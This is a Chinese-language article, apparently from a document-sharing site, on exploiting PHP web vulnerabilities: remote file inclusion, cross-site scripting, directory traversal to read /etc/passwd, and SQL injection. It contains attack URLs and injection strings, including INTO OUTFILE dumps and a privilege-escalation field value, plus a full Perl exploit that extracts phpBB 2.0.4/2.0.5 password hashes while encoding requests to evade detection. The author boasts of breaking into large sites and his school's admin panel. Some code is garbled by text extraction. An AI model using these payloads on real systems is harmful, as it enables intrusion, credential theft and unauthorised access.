PHP页面漏洞分析的方法
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PHP页面漏洞分析的方法
PHP漏洞大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。
以下是为大家搜索的PHP
页面漏洞分析的方法,欢迎大家阅读!更多精彩内容请及时关注我们!
首先,我们来讨论包含文件漏洞。
这个漏洞应该说是PHP独有
的吧。
这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。
我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。
比方说我们提交:a.php?include=web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。
我们可以在b.php中写入类似于:passthru("/bin/ls/etc");的代码。
这样,就可以执行一些
有目的的攻击了。
(注:Web服务器应该不能执行php代码,不然就出问题了。
相关详情可以去看<>)。
在这个漏洞方面,出状况的很多,
比方
说:PayPalStoreFront,HotNews,MamboOpenSource,PhpDig,YABBSE,p hpBB,InvisionBoard,SOLMETRASPAWEditor,LesVisiteurs,PhpGedVi ew,X-Cart等等一些。
接着,我们再来看一下脚本命令执行漏洞。
这是由于对用户提
交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导
致触发跨站脚本攻击,可能获得目标用户的敏感信息。
我们也举个例子:在PHPTransparent的PHPPHP4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击
的目的:web/index.php?PHPSESSID=">在script里面我们可以构造
函数来获得用户的一些敏感信息。
在这个漏洞方面相对要少一点,除了PHPTransparent之外还
有:PHP-Nuke,phpBB,PHPClassifieds,PHPix,UltimatePHPBoard等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用
户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。
我们拿最近发现的phpMyAdmin来做例子。
在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEBROOT限制,以WEB权限查看系统上的任意文件信息。
比方说打入这样一个地
址:export.php?what=../../../../../../etc/passwd%00就可以达
到文件泄露的目的了。
在这方面相对多一点,有:myPHPNuke,McNews
等等。
最后,我们又要回到最兴奋的地方了。
想想我们平时在asp页
面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL 注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出
一片天空。
曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。
(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。
将asc改成ASCII,len改成LENGTH,其他函数基本不变了。
其实大家看到PHP 的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。
PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。
它的漏洞也是一直在出,从最早phpBB.phpBB1.4.0版本被人发现漏洞,到现在最近的phpBB2.0.6版本的groupcp.php,,以及之前发现的
search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。
这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
好了,我们还是来分析一下漏洞产生的原因吧。
拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET 请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。
(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。
先看一下相关源代码:
以下是引用片段:
# if(isset($_GET_VARS[POST_TOPIC_URL]))
# {
# $topic_id=intval($_GET_VARS[POST_TOPIC_URL]); # }
# elseif(isset($_GET_VARS['topic']))
# {
# $topic_id=intval($_GET_VARS['topic']);
# }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB 源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB2.0.5和phpBB2.0.4)。
以下是引用片段:
# $sql="SELECTp.post_id
# FROM".POSTS_TABLE."p,".SESSIONS_TABLE."s,
".USERS_TABLE."u
# WHEREs.session_id='$session_id'
# er_id=s.session_user_id
# ANDp.topic_id=$topic_id
# ANDp.post_time>=er_lastvisit
# ORDERBYp.post_timeASC
# LIMIT1";
Rick提供了下面的这断测试代码:
useIO::Socket;
$remote=shift||'localhost';
$view_topic=shift|| '/phpBB2/viewtopic.php';
$uid=shift||2;
$port=80;
$dBType='mysql4'; #mysql4orpgsql
print"Tryingtogetpasswordhashforuid$uidserver$remotedbtype: $dBType";
$p="";
for($index=1;$index<=32;$index++)
{
$socket=IO::Socket::INET->new(PeerAddr=>$remote,
PeerPort=>$port,
Proto=>"tcp",
Type=>SOCK_STREAM)
ordie"Couldntconnectto$remote:$port:$@";
$str="GET$view_topic"."?sid=1&topic_id=-1".
random_encode(make_dbsql()). "&view=newest"."/1.0";
print$socket$str;
print$socket"Cookie:phpBB2mysql_sid=1"; #replacethisforpgsqlorremoveit
print$socket"Host:$remote";
while($answer=)
{
if($answer=~/location:.*x23(d+)/)
#Matchesthelocation:viewtopic.php?p=#
{
$p.=chr();
}
}
close($socket);
}
print"MD5Hashforuid$uidis$p";
#randomencodestr.helpsavoiddetection
subrandom_encode
{
$str=shift;
$ret="";
for($i=0;$i
{
$c=substr($str,$i,1);
$j=randlength($str)*1000;
if(int($j)%2||$ceq'')
{
$ret.="%".sprintf("%x",ord($c));
} else
{
$ret.=$c;
}
}
return$ret;
}
submake_dbsql
{
if($dBTypeeq'mysql4')
{
return"unionselectord(substring(user_password,".$index.",1) )fromphpbb_userswhereuser_id=$uid/*";
}elsif($dBTypeeq'pgsql')
{
return";selectascii(substring(user_passwordfrom$indexfor1))
aspost_idfromphpbb_postsp,phpbb_er_id=$uidor false";
}
else
{
return"";
}
}
这段代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+ bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的,把前面那函数用上吧.不然你只有改人家的密码了哦!!!
差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql 对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql中都不能奏效了.一般我们常见的注入语句像这
样:aaa.php?id=a'intooutfile'pass.txt或是
aaa.php?id=a'intooutfile'pass.txt'/*再进一步可以改
成:aaa.php?id=a'or1=1unionselectid,name,passwordformusersin tooutfile'c:/a.txt
这样可以将数据库数据导出为文件,然后可以查看.
或是这样:mode=',user_level='4
这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
其它的如'OR1=1--或者:1'or1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨。